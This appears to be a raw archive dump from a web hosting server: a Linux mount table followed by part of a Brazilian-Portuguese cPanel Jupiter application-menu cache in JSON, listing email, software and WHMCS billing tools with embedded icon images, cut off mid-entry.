debugfs /sys/kernel/debug debugfs rw,relatime 0 0
mqueue /dev/mqueue mqueue rw,relatime 0 0
hugetlbfs /dev/hugepages hugetlbfs rw,relatime,pagesize=2M 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=42,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=21662 0 0
/dev/md124p2 /boot ext4 rw,relatime 0 0
/dev/md124p3 /home2 ext4 rw,relatime,jqfmt=vfsv1,usrjquota=quota.user 0 0
sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0
/dev/loop0 /tmp ext4 rw,nosuid,noexec,relatime,discard 0 0
/dev/loop0 /var/tmp ext4 rw,nosuid,noexec,relatime,discard 0 0
tmpfs /run/user/0 tmpfs rw,nosuid,nodev,relatime,size=8181544k,mode=700 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0 AVAILABLE_APPLICATIONS_CACHE_pt-br_jupiter 0000600 00000170431 15105745077 0013457 0 ustar 00 {"default_group_order":{"soft_div":10,"sitepad_div":10,"security":6,"preferences":8,"databases":3,"domains":4,"sample_apps":9,"whmcs":1,"software":6,"email":1,"advanced":7,"files":2,"metrics":5},"implements":{"WHMCS_clientarea_knowledgebase":"WHMCS_clientarea_knowledgebase","Email_BoxTrapper":"boxtrapper","SSL_TLS_Manager":"ssl_tls","Calendar_Configure":"calendar_and_contacts","Email_AutoResponders":"autoresponders","SSL_TLS_Status":"tls_status","Cron_Home":"cron_jobs","Database_MySQL":"mysql_databases","Email_SpamFilter":"apache_spam_assassin","Email_Accounts":"email_accounts","upgrade":"WHMCS_clientarea_upgrade","WHMCS_clientarea_billing_info":"WHMCS_clientarea_billing_info","WHMCS_clientarea_submit_ticket":"WHMCS_clientarea_submit_ticket","WHMCS_clientarea_invoices":"WHMCS_clientarea_invoices","WHMCS_clientarea_profile":"WHMCS_clientarea_profile","ContactInfo_Change":"contact_information","Email_UserLevelFiltering":"email_filters","API_Tokens_Manager":"api_tokens","Database_phpMyAdmin":"php_my_admin","Email_Disk_Usage":"email_disk_usage","WHMCS_clientarea_emails":"WHMCS_clientarea_emails","WHMCS_clientarea_network_status":"WHMCS_clientarea_network_status","Domains_domains":"domains","WHMCS_clientarea_announcements":"WHMCS_clientarea_announcements","SitePad_Home":"sitepad","Backups_Home":"backup","Softaculous_WordPress":"wp_softaculous","WHMCS_clientarea_downloads":"WHMCS_clientarea_downloads","JetBackup5":"jb5","Site_Software":"site_software","FileManager_Home":"file_manager","WHMCS_clientarea_shopping_cart_domain_register":"WHMCS_clientarea_shopping_cart_domain_register","support":"WHMCS_clientarea_tickets","billing":"WHMCS_clientarea_product_details","Email_DefaultAddress":"default_address","Softaculous_Home":"softaculous","Email_Routing":"email_routing","Email_Forwarders":"forwarders","Zone_Editor":"zone_editor","Locale_Change":"change_language","Email_DeliveryReport":"track_delivery","Email_AccountLevelFiltering":"global_email_filters","WHMCS_clientarea_shopping_cart_domain_transfer":"WHMCS_clientarea_shopping_cart_domain_transfer"},"groups":[{"group":"email","items":[{"key":"email_accounts","description":"Crie, gerencie e exclua contas de e-mail.","searchtext":"email accounts mail pop imap smtp Contas de e-mail","base64_png_image":"","onclick":"","feature":"popaccts","height":"48","implements":"Email_Accounts","url":"email_accounts/index.html","group":"email","file":"email_accounts","acontent":"","subtype":"img","itemorder":"1","width":"48","itemdesc":"Contas de e-mail","imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'}","target":"","plainitemdesc":"Email Accounts"},{"implements":"Email_Forwarders","group":"email","url":"mail/fwds.html","base64_png_image":"","searchtext":"Encaminhadores","description":"Configure um endereço de e-mail para encaminhar cópias de e-mails recebidos para outro endereço.","key":"forwarders","height":"48","feature":"forwarders || emaildomainfwd","onclick":"","imgtype":"icon","plainitemdesc":"Forwarders","target":"","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","type":"image","file":"forwarders","width":"48","itemdesc":"Encaminhadores","itemorder":"3","subtype":"img","acontent":""},{"plainitemdesc":"Email Routing","target":"","type":"image","if":"$HASROLE{'MailReceive'} && !$HASCHILDNODE{Mail}","imgtype":"icon","width":"48","itemdesc":"Roteamento de e-mail","itemorder":"4","acontent":"","subtype":"img","file":"email_routing","group":"email","url":"mail/email_routing.html","implements":"Email_Routing","height":"48","feature":"changemx","onclick":"","base64_png_image":"","searchtext":"DNS de roteamento de e-mail de entrada MX Roteamento de e-mail","description":"Configure como o sistema roteia os e-mails recebidos de um domínio.","key":"email_routing"},{"itemdesc":"Respostas automáticas","width":"48","itemorder":"5","subtype":"img","acontent":"","file":"autoresponders","plainitemdesc":"Autoresponders","target":"","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","imgtype":"icon","height":"48","feature":"autoresponders","onclick":"","base64_png_image":"","description":"Configure mensagens de resposta automática de e-mail.","searchtext":"Autoresponders autoresponder auto responders Respostas automáticas","key":"autoresponders","group":"email","url":"mail/autores.html","implements":"Email_AutoResponders"},{"url":"mail/def.html","group":"email","implements":"Email_DefaultAddress","feature":"defaultaddress","onclick":"","height":"48","description":"Configurar um endereço de e-mail padrão.","searchtext":"Endereço padrão","key":"default_address","base64_png_image":"","type":"image","if":"$HASROLE{'MailReceive'}","target":"","plainitemdesc":"Default Address","imgtype":"icon","acontent":"","subtype":"img","itemdesc":"Endereço padrão","width":"48","itemorder":"6","file":"default_address"},{"imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","target":"","plainitemdesc":"Track Delivery","file":"track_delivery","acontent":"","subtype":"img","itemorder":"8","width":"48","itemdesc":"Rastrear entrega","implements":"Email_DeliveryReport","url":"mail/route.html","group":"email","key":"track_delivery","searchtext":"Rastreie o e-mail de entrega Rastreie o relatório de entrega de e-mail Rastrear entrega","description":"Exibir relatórios sobre tentativas de entrega de mensagem de e-mail.","base64_png_image":"","onclick":"","feature":"emailtrace","height":"48"},{"implements":"Email_AccountLevelFiltering","group":"email","url":"mail/filters/userfilters.html","base64_png_image":"","description":"Configure como seu servidor filtra todos os e-mails que as contas de e-mail de seus domínios recebem.","searchtext":"Filtros globais de e-mail filtram a filtragem no nível da conta Filtros de e-mail global","key":"global_email_filters","height":"48","feature":"blockers","onclick":"","imgtype":"icon","plainitemdesc":"Global Email Filters","target":"","if":"$HASROLE{'MailReceive'}","type":"image","file":"global_email_filters","itemdesc":"Filtros de e-mail global","width":"48","itemorder":"9","subtype":"img","acontent":""},{"height":"48","feature":"blockers","onclick":"","base64_png_image":"","searchtext":"Filtros de usuário Nível de usuário de e-mail Filtro de filtragem Filtros de e-mail","description":"Configure como seu servidor filtra os e-mails recebidos de uma conta de e-mail específica.","key":"email_filters","group":"email","url":"mail/filters/managefilters.html","implements":"Email_UserLevelFiltering","width":"48","itemdesc":"Filtros de e-mail","itemorder":"10","subtype":"img","acontent":"","file":"email_filters","plainitemdesc":"Email Filters","target":"","if":"$HASROLE{'MailReceive'}","type":"image","imgtype":"icon"},{"height":"48","feature":"csvimport","onclick":"","base64_png_image":"","description":"Use uma planilha ou arquivo de texto com valores separados com vírgulas para rapidamente criar caixas de e-mail ou encaminhadores.","searchtext":"Importador de Endereços Importar Endereços Encaminhamento de Correio importação de csv importação de xls t","key":"address_importer","group":"email","url":"mail/csvimport.html","itemdesc":"Importador de Endereços","width":"48","itemorder":"12","acontent":"","subtype":"img","file":"address_importer","target":"","plainitemdesc":"Address Importer","type":"image","if":"$HASROLE{'MailReceive'}","imgtype":"icon"},{"implements":"Email_SpamFilter","url":"mail/spam/index.html","group":"email","key":"apache_spam_assassin","description":"Configure as definições do filtro de spam para sua conta de e-mail.","searchtext":"Filtragem Spam Assassin spamassassin Apache SpamAssassin Filtros de spam","base64_png_image":"","onclick":"","feature":"spamassassin","height":"48","imgtype":"icon","if":"$HASROLE{'SpamFilter'} && !$CONFIF{'skipspamassassin'}","type":"image","plainitemdesc":"Spam Filters","target":"","file":"apache_spam_assassin","subtype":"img","acontent":"","itemorder":"13","width":"48","itemdesc":"Filtros de spam"},{"height":"48","feature":"pgp","onclick":"","base64_png_image":"","description":"Criar, gerenciar e excluir chaves de GnuPG.","searchtext":"Chaves gpg de criptografia Chaves GnuPG Criptografia","key":"encryption","group":"email","url":"gpg/index.html","itemdesc":"Criptografia","width":"48","itemorder":"15","subtype":"img","acontent":"","file":"encryption","target":"","plainitemdesc":"Encryption","type":"image","if":"$HASROLE{'MailReceive'}","imgtype":"icon"},{"subtype":"img","acontent":"","width":"48","itemdesc":"BoxTrapper","itemorder":"16","file":"boxtrapper","if":"$HASROLE{'MailReceive'} && !$CONFIF{'skipboxtrapper'}","type":"image","target":"","imgtype":"icon","feature":"boxtrapper","onclick":"","height":"48","searchtext":"BoxTrapper filter","description":"Filtre o spam da sua caixa de entrada por meio da verificação de resposta ao desafio.","key":"boxtrapper","base64_png_image":"","url":"mail/boxtrapper.html","group":"email","implements":"Email_BoxTrapper"},{"base64_png_image":"","description":"Gerenciar suas contas de CalDAV (calendário) e CardDAV (contatos).","searchtext":"email calendar contact address book CalDAV CardDAV Calendars and Contacts Configuration","key":"calendar_and_contacts","height":"48","feature":"caldavcarddav","onclick":"","implements":"Calendar_Configure","group":"email","url":"mail/calendars_and_contacts/index.html","file":"calendar_and_contacts","width":"48","itemdesc":"Calendars and Contacts Configuration","itemorder":"18","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Calendars and Contacts Configuration","if":"$HASROLE{'CalendarContact'} && $hascpdavd","type":"image"},{"if":"$HASROLE{'CalendarContact'} && $hascpdavd","type":"image","plainitemdesc":"Calendars and Contacts Sharing","target":"","imgtype":"icon","subtype":"img","acontent":"","itemorder":18,"itemdesc":"Calendars and Contacts Sharing","width":48,"file":"manage_calendar_access","url":"manage-calendar-access/index.html","group":"email","onclick":"","feature":"caldavcarddav","height":48,"key":"manage_calendar_access","description":"Delegate access rights for a user’s calendar & contacts to other users.","searchtext":"calendar delegation Calendars and Contacts Sharing","base64_png_image":""},{"imgtype":"icon","type":"image","if":"$HASROLE{'CalendarContact'} && $hascpdavd","target":"","plainitemdesc":"Calendars and Contacts Management","file":"calendar_contact_management","acontent":"","subtype":"img","itemorder":19,"width":48,"itemdesc":"Calendars and Contacts Management","url":"calendar-contact-management/index.html","group":"email","key":"calendar_contact_management","description":"Calendars and Contacts Management","searchtext":"calendar contact management address book addressbook Calendars and Contacts Management","base64_png_image":"","onclick":"","feature":"caldavcarddav","height":48},{"subtype":"img","acontent":"","itemorder":"20","itemdesc":"Uso de disco com e-mail","width":"48","file":"email_disk_usage","type":"image","if":"$HASROLE{'MailReceive'}","target":"","plainitemdesc":"Email Disk Usage","imgtype":"icon","onclick":"","feature":"popaccts && email_disk_usage","height":"48","key":"email_disk_usage","description":"Veja suas caixas de e-mail e uso do disco para cada uma delas e remova mensagens antigas ou grandes.","searchtext":"email accounts mail disk usage bytes mb size Uso de disco com e-mail","base64_png_image":"","url":"mail/manage_disk_usage/","group":"email","implements":"Email_Disk_Usage"}],"desc":"E-mail"},{"items":[{"group":"software","url":"cache/index.live.php","height":"48","feature":"cache","onclick":"","base64_png_image":"","searchtext":"Cache","description":"Cache","target":"","plainitemdesc":"Cache","type":"image","imgtype":"icon","itemdesc":"Cache","width":"48","itemorder":"1","subtype":"img","acontent":"","file":"cache"},{"url":"../../3rdparty/sitepad/index.live.php","group":"software","implements":"SitePad_Home","onclick":"","feature":"sitepad","height":"48","searchtext":"SitePad Website Builder","description":"SitePad Website Builder","base64_png_image":"","type":"image","target":"","plainitemdesc":"SitePad Website Builder","imgtype":"icon","acontent":"","subtype":"img","itemorder":"1","itemdesc":"SitePad Website Builder","width":"48","file":"sitepad"},{"file":"wp_softaculous","acontent":"","subtype":"img","itemorder":"1","itemdesc":"WordPress Manager by Softaculous","width":"48","imgtype":"icon","type":"image","plainitemdesc":"WordPress Manager by Softaculous","target":"","description":"WordPress Manager by Softaculous","searchtext":"WordPress Manager by Softaculous","base64_png_image":"","onclick":"","feature":"wp_softaculous","height":"48","implements":"Softaculous_WordPress","url":"softaculous/index.live.php?act=wordpress","group":"software"},{"acontent":"","subtype":"img","width":"48","itemdesc":"Pacotes PHP PEAR","itemorder":"2","file":"php_pear_packages","if":"$haspear","type":"image","plainitemdesc":"PHP PEAR Packages","target":"","imgtype":"icon","feature":"modules-php-pear","onclick":"","height":"48","searchtext":"Pacotes PHP PEAR ","description":"Pesquisar e adicionar pacotes PEAR para o seu site ou veja os pacotes PHP disponíveis.","key":"php_pear_packages","base64_png_image":"","url":"module_installers/index.html?lang=php-pear","group":"software"},{"group":"software","url":"module_installers/index.html?lang=perl","base64_png_image":"","key":"perl_modules","description":"Pesquisar e instalar módulos Perl do repositório CPAN.","searchtext":"Módulos Perl","height":"48","onclick":"","feature":"modules-perl","imgtype":"icon","target":"","plainitemdesc":"Perl Modules","type":"image","if":"$hasperl","file":"perl_modules","itemorder":"3","itemdesc":"Módulos Perl","width":"48","acontent":"","subtype":"img"},{"height":"48","feature":"modules-ruby","onclick":"","base64_png_image":"","searchtext":"RubyGems ror ruby gems rails","description":"Distribuir programas e bibliotecas Ruby®.","key":"ruby_gems","group":"software","url":"module_installers/index.html?lang=ruby","itemdesc":"RubyGems","width":"48","itemorder":"4","subtype":"img","acontent":"","file":"ruby_gems","target":"","plainitemdesc":"RubyGems","type":"image","if":"$hasgem","imgtype":"icon"},{"implements":"Site_Software","url":"addoncgi/cpaddons.html","group":"software","description":"Atualize, gerencie e desinstale cPAddons.","searchtext":"Software de complementos de software do site Software do site","key":"site_software","base64_png_image":"","feature":"addoncgi","onclick":"","height":"32","imgtype":"icon","cpanel_os_check":"supports_cpaddons=1","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Site Software","file":"site_software","file_check":"!/var/cpanel/cpaddons.disabled","subtype":"img","acontent":"","itemdesc":"Software do site","width":"32","itemorder":"6"},{"height":"48","onclick":"","feature":"passengerapps","base64_png_image":"","key":"application_manager","searchtext":"apps passenger ruby ror gems rails Gerenciamento da Aplicação","description":"Implementar aplicativos com o servidor de aplicativo Phusion Passenger®.","group":"software","url":"passenger/index.html","itemorder":"8","width":"48","itemdesc":"Gerenciamento da Aplicação","subtype":"img","acontent":"","file":"application_manager","target":"","plainitemdesc":"Application Manager","type":"image","imgtype":"icon"},{"group":"software","url":"multiphp_manager/index.html","base64_png_image":"","key":"multiphp_manager","searchtext":"MultiPHP Manager Gerenciador MultiPHP","description":"Gerenciar sua configuração de PHP.","height":"48","onclick":"","feature":"multiphp","imgtype":"icon","target":"","plainitemdesc":"MultiPHP Manager","type":"image","if":"$is_ea4","file":"multiphp_manager","itemorder":"8","width":"48","itemdesc":"Gerenciador MultiPHP","acontent":"","subtype":"img"},{"onclick":"","feature":"multiphp_ini_editor","height":"48","key":"multiphp_ini_editor","description":"Configure as definições PHP de seu website.","searchtext":"MultiPHP INI Editor php config Editor INI MultiPHP","base64_png_image":"","url":"multiphp_ini_editor/index.html","group":"software","acontent":"","subtype":"img","itemorder":"9","width":"48","itemdesc":"Editor INI MultiPHP","file":"multiphp_ini_editor","if":"$is_ea4","type":"image","target":"","plainitemdesc":"MultiPHP INI Editor","imgtype":"icon"},{"implements":"Softaculous_Home","group":"software","url":"softaculous/index.live.php","base64_png_image":"","searchtext":"Softaculous Apps Installer","description":"Softaculous Apps Installer","height":"48","onclick":"","feature":"softaculous","imgtype":"icon","target":"","plainitemdesc":"Softaculous Apps Installer","type":"image","file":"softaculous","itemorder":"99","itemdesc":"Softaculous Apps Installer","width":"48","subtype":"img","acontent":""},{"url":"lveversion/nodejs-selector.html.tt","group":"software","feature":"lvenodejssel","onclick":"","height":"48","description":"Setup Node.js App","searchtext":"Setup Node.js App","base64_png_image":"","type":"image","plainitemdesc":"Setup Node.js App","target":"","imgtype":"icon","subtype":"img","acontent":"","itemdesc":"Setup Node.js App","width":"48","itemorder":"999","file":"lvenodejssel"},{"url":"lveversion/php_selector.live.pl","group":"software","onclick":"","feature":"lvephpsel","height":"48","description":"Selecionar Versão do PHP","searchtext":"Selecionar Versão do PHP","base64_png_image":"","type":"image","target":"","plainitemdesc":"Select PHP Version","imgtype":"icon","acontent":"","subtype":"img","itemorder":"999","itemdesc":"Selecionar Versão do PHP","width":"48","file":"lvephpsel"},{"base64_png_image":"","description":"Setup Python App","searchtext":"Setup Python App","height":"48","onclick":"","feature":"lvepythonsel","group":"software","url":"lveversion/python-selector.html.tt","file":"lvepythonsel","itemorder":"999","width":"48","itemdesc":"Setup Python App","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Setup Python App","type":"image"},{"target":"","plainitemdesc":"Setup Ruby App","type":"image","imgtype":"icon","itemorder":"999","width":"48","itemdesc":"Setup Ruby App","acontent":"","subtype":"img","file":"lverubysel","group":"software","url":"lveversion/ruby-selector.html.tt","height":"48","onclick":"","feature":"lverubysel","base64_png_image":"","description":"Setup Ruby App","searchtext":"Setup Ruby App"},{"imgtype":"icon","type":"image","plainitemdesc":"AccelerateWP","target":"","file":"lvewpos","acontent":"","subtype":"img","width":"48","itemdesc":"AccelerateWP","itemorder":"999","url":"lveversion/wpos.live.pl","group":"software","searchtext":"AccelerateWP","description":"AccelerateWP","base64_png_image":"","feature":"lvewpos","onclick":"","height":"48"}],"group":"software","desc":"Software"},{"desc":"Billing & Support","group":"whmcs","items":[{"implements":"WHMCS_clientarea_announcements","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_announcements","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAz1BMVEUAAAAlMjw3R1E/UbXOzs7t7e0lMjw3R1E/UbXOzs7t7e0lMjw3R1E/UbXOzs4lMjw3R1Ht7e0lMjzt7e0lMjw/UbXOzs7t7e0lMjzOzs7t7e0lMjzOzs7l5eXt7e0lMjwlMjyFj8usr7Ht7e0lMjw/UbXOzs7t7e0lMjw3R1E/UbXOzs7l5eUlMjw3R1E/UbWCjcvOzs7t7e0lMjw3R1E/UbXt7e0lMjw3R1Gsr7HOzs7t7e0lMjw3R1E/UbV6gIWWn9Gkp6rOzs7l5eXt7e3yVtnBAAAAPHRSTlMAEBAQEBAgICAgIDAwMDBAQEBQUGBgYGBwcHCAgICAj5+fn5+vr6+vv7+/v7/Pz8/Pz8/f39/f7+/v7++T1js6AAABJUlEQVR4Ac3UXVOCQBTG8YcSK7AMtUKzsoCgyF4kJQupbL//Z8qd2EllzXMumvpfn9/Oc7X4P20H18EmyFnn+awAxMzTl7dcRj4XggGORkLQgdmR52RgyTF00AyFjAbMpqce14FKuzvfSTgQKi2oPEwX+hDiZ3A4ZYIuDxj+Kw/0Mx6wMwa43QDqHDC54oJJjQv2fxs8ggeeagBSBtjCLDuhA3x1wQVtLth5ZgLsXcbj96JxHN+M1gCZmxVFkDmdwRpQXQAySxk9QL8AKb5zvDIobzIwl+WtBLYCjeWveAVAUoAelrI8PTgrQGqgREIFtJtaKOfcy/s7aDclBjQdDPPhLrSbsmPQsjOVTRSpAj4R9BRIiaChgAvWJr8Oaq0o8t0q/rhP5iAmML/5edQAAAAASUVORK5CYII=","searchtext":"News & Announcements","description":"News & Announcements","height":48,"onclick":"","imgtype":"icon","plainitemdesc":"News & Announcements","target":"_blank","type":"image","file":"WHMCS_clientarea_announcements","itemdesc":"News & Announcements","width":48,"itemorder":"1","acontent":"target=\"_blank\"","subtype":"img"},{"file":"WHMCS_clientarea_billing_info","itemorder":"1","width":48,"itemdesc":"Manage Billing Information","acontent":"target=\"_blank\"","subtype":"img","imgtype":"icon","plainitemdesc":"Manage Billing Information","target":"_blank","type":"image","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAq1BMVEUAAAAnrmCRVaonrmAnrmAnrmA8nG8nrmAnrmAnrmAnrmCRVaolMjwnrmBQQGhmR36RVaonrmAnrmCRVaonrmCRVaonrmAnrmB1bZYlMjwnrmAuqGU0o2k1s2pOP2VQvX5cgoVdwohpSIFwRIRyRYZ2R4t4zJx8SpJ9ZpyDTpmEYKGFT5yG0aaHUJ6KW6WLUqONU6WPVKiRVaqT17Ch3Lmu4cPJ69fX8OH///+LoxvkAAAAGXRSTlMAEBAgQFBQYHCAj4+fn5+fn6+/v8/P3+/v8CJ0UAAAAUhJREFUeAGV0OtSwjAQxfGlXKoUudBWYS2Cooh3iaB5/ydzJ053MkMPJufz7z+zCcEluTEZhS8pjWwc52WjSH83H0T6OS6AxwXyuABeNoz0N2Yc6Q0ooAcF9KDAfvcECuQf1o9ahPm1FoFei3CvRaCX3X9qEeY/jFsW52XYy96OvYHe7eXI59hr4fsywV6LKC9FnJftfC/LsfennmI9xXrK4rxsHOCfZ71OS4vRP/59VTHLJp26GJz0W8fdLrwC+2tm3VQLfE/F/s61AN6s1C72+wVzuy6GpnmV+h9rX5nPvN9t2tb39lZfAYuZ2C97+PMbltHJouwJ+bb2oJ4JF+KTjpCNYPWXhAvx1GZXqOcJ4UI8UeEK9ZwSLJyn1LHlklkvAoXzsgn76xIo1FOr8HxKBAr1UvRrftWlxmXG5Al5a/cL0dO0RbJf5tfi7Ihl2PMAAAAASUVORK5CYII=","searchtext":"Manage Billing Information","description":"Manage Billing Information","height":48,"onclick":"","implements":"WHMCS_clientarea_billing_info","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_billing_info"},{"url":"integration/index.html?app=WHMCS_clientarea_downloads","group":"whmcs","implements":"WHMCS_clientarea_downloads","onclick":"","height":48,"description":"Download Resources","searchtext":"Download Resources","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUAAADOzs7Ozs7Ozs7t7e3Ozs7Ozs7t7e3t7e0Ym9glMjwyPkdNsN1XYWhbtd99hImip6uq0+bF3unOzs7c3Nzt7e2Y2TCUAAAACXRSTlMAQFBgj6/f3+/npsWFAAAAmUlEQVR4Ae3SsQ7CMAyE4QCBQoJbt8bv/6owoJMpIrpMINGb/2+w5PSy/cn883Ja72BmTgn0bTC8923gq54E6FmAngfoeYCeBOhJsLNOcOwFsb8xwOl9E0gpsoEWmESkPCYiEwVqwSoFtGDKgCCUPVrRMwBCnQAQtervvPdyDVsIMF7CRgLMEczdN/w12MDA9ucnyCzICYLv78X3mW+KzHVUAAAAAElFTkSuQmCC","type":"image","target":"_blank","plainitemdesc":"Download Resources","imgtype":"icon","acontent":"target=\"_blank\"","subtype":"img","itemorder":"1","itemdesc":"Download Resources","width":48,"file":"WHMCS_clientarea_downloads"},{"itemorder":"1","itemdesc":"View Email History","width":48,"subtype":"img","acontent":"target=\"_blank\"","file":"WHMCS_clientarea_emails","target":"_blank","plainitemdesc":"View Email History","type":"image","imgtype":"icon","height":48,"onclick":"","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAq1BMVEUAAACEtVa8vLzg4OAlMjyEtVa8vLzg4OAlMjyEtVa8vLzg4OAlMjyEtVa8vLzg4OCEtVa8vLzg4OAlMjyEtVa8vLzg4OAlMjyEtVa8vLzg4OCEtVa8vLzg4OCEtVbg4OCEtVa8vLwlMjyEtVa8vLzg4OCEtVa8vLzg4OCEtVa8vLzT09Pg4OAlMjyEtVa8vLzW1tbg4OAlMjyEtVa8vLy+vr7FxcXe3t7g4OBnN95CAAAAMnRSTlMAEBAQICAgIDAwMDBAQEBAUFBQYGBwcICAgICPj4+fn6+vv7+/v8/Pz9/f39/v7+/v73peZywAAAG1SURBVHgB7ZJRU9pQEIVPSCMFCsY0RqCCESQGTaN4q+7//2U9M5vkppOMXB467YPfU+7MfucsO+BfMVssZnBncP2LXA+c4x84Th5m7vHEtUTj787O7rTEKf7pEuTySUtc4vVlSxziydESGx+npTFlGn9YYuOne1Oxn7LEnqsn/n7MeJ1ViyXjey3pu/0CQMixMvYALy75GQJY2JJOPDxOZR4IvzO6HmxJJ57MuQ1nvr58Bw3uNQexJX/Gk71u8e3lCiSkDtIuubDxJNAJFdQPoGjJBR5fKTJemRqzbQtbY6aoGHOV10fI+9vtAF3h52Zz1QjK4PbtXSAizxFqRrwRyJcNocA7jVATPYsIBbLyUWG4NJrQgE9U+CuRRpBiAmXNnTID+0qhTAppCWTZ/AgCJTbNT1iKWEHJh3rIRvB+8GsNgmEuXUEOCYe2VUMwX5em/pckB+kRyM73OEbq1VLOw9+J9AssiYDRfJuqkIUg0UH6BeVGD8yVwgDEvxH5UJDiHC3OCzkikBUaViIOguQTHZ/k4iSQBCQRcRZklyQ7cReU/1r4FAo5iQKRnEQEDJcnMMTf5zfbpg9xBdTEKQAAAABJRU5ErkJggg==","searchtext":"View Email History","description":"View Email History","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_emails","implements":"WHMCS_clientarea_emails"},{"height":48,"onclick":"","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAArlBMVEUAAADt7e3Ozs7t7e3t7e23t7fOzs7t7e3Ozs7t7e3Ozs7t7e3t7e3Ozs7t7e3t7e3o6Ojt7e3Ozs7o6Ojt7e3Ozs7t7e23t7ft7e0lMjwyPkc+SVJXYWhkbHNweH59hImEtVaJkJWRvGmWm6Cew3yip6uvs7a3t7e50aK7vsG/1avDw8PG2LTIyszM3L7Ozs7T38fU1tfW1tbZ49Hc3Nze3t7g5trh4eLm6uTt7e1jZTdsAAAAGXRSTlMAECAgMEBAQFBQYGCAn5+vv7/Pz8/f3+/vfCvR5gAAASRJREFUeNrdll1TwjAQRVcFoaWAaG3TIggiohUMxQ+6//+PmQ8lTjqG7APD6HnJTnLPw33YmYChfbnBX0kCsAk536CDVj3vFi7OT+28W3jnvGvl9wo8NHk/4TltmryXsEh13l9YqDxNCDlNaHOicE0V+A/efAR0cHyhWtu8uoX7SY2lU7irC4VT+Hi0WZJL/zlhmu0YllgOsyxfOYU8M8y0PnUK85sdoy1uR+Ioj1z61lTIS1zJSk/epec421/6wZQei9JjeRymtNmniiKsJ4IXglC4F6hOVYgNqsil/6OQEoW0SRNCAJLQhW8hasWoiQKmh4G50tOV+jpooQNw0sOvqaGMnrhSORbIR3Wj6bC4oYcY40AOZ31MIgCZY9jXjxFL9ACfMOK0SEks1o8AAAAASUVORK5CYII=","searchtext":"View Invoice History","description":"View Invoice History","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_invoices","implements":"WHMCS_clientarea_invoices","itemorder":"1","width":48,"itemdesc":"View Invoice History","acontent":"target=\"_blank\"","subtype":"img","file":"WHMCS_clientarea_invoices","target":"_blank","plainitemdesc":"View Invoice History","type":"image","imgtype":"icon"},{"group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_knowledgebase","implements":"WHMCS_clientarea_knowledgebase","height":48,"onclick":"","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAjVBMVEUAAADxxA43R1HxxA4lMjytkx3xxA43R1ElMjzxxA43R1HxxA7xxA4wP0nxxA7xxA7xxA4lMjzxxA7xxA4lMjzxxA7xxA4lMjzxxA4lMjwoNkA2RlA3R1GljR/xxA7yyB3zyyz0zzv100r11ln22mj33nf44of55Zb66aX77bT88MP89NL9+OH++/D////GKclBAAAAGXRSTlMAECAgMDAwQFBQYGBwgICPn6+vv8/P3+/v86GWGAAAAWhJREFUeNqtlNF6gjAMRgto1YGIINhuLtQKqNvk/R9vyA1tadp93zzX/2mSpkBeB03yAgCKPKXETxBXMFHFvnzMQKfaOI8vYM7O0TwDG0Xgyc8Nez5C8mhXJeDYJk/BQWVpCJzM95EBAlIiUCdu7tdGGAY1NwwT5/7JtdaE1BBytUA/8n1WhdwQQKG+PUbjUePL24BO3TydGyjowg5Mzk9DoEIFM66DIDGBgl3osBkSUBCXrpVyHEJit1TqJw/MrinBOhL9RIttOputeaTD3lI0pbtOtF/3i5Rd1wpQiK0FxDDoTw0WWGAtIPsB6f0cCr1/4fsLJNqVPhpfQ5SBD0b/kV/682Wk5BfHT/CQEi3PudNgWWTmXUYeB0RjzzlqVLsNmcE5YpQJJTYOdiOjBGHNLcYwJs723TSKiLgIP3SDJcTN6qQZjBKvoBr+PAlPinFcEj9vk3FckL8QrlbhFsnjrA98vyCv5xf2Y5WHw4uPPgAAAABJRU5ErkJggg==","searchtext":"Search our Knowledgebase","description":"Search our Knowledgebase","target":"_blank","plainitemdesc":"Search our Knowledgebase","type":"image","imgtype":"icon","width":48,"itemdesc":"Search our 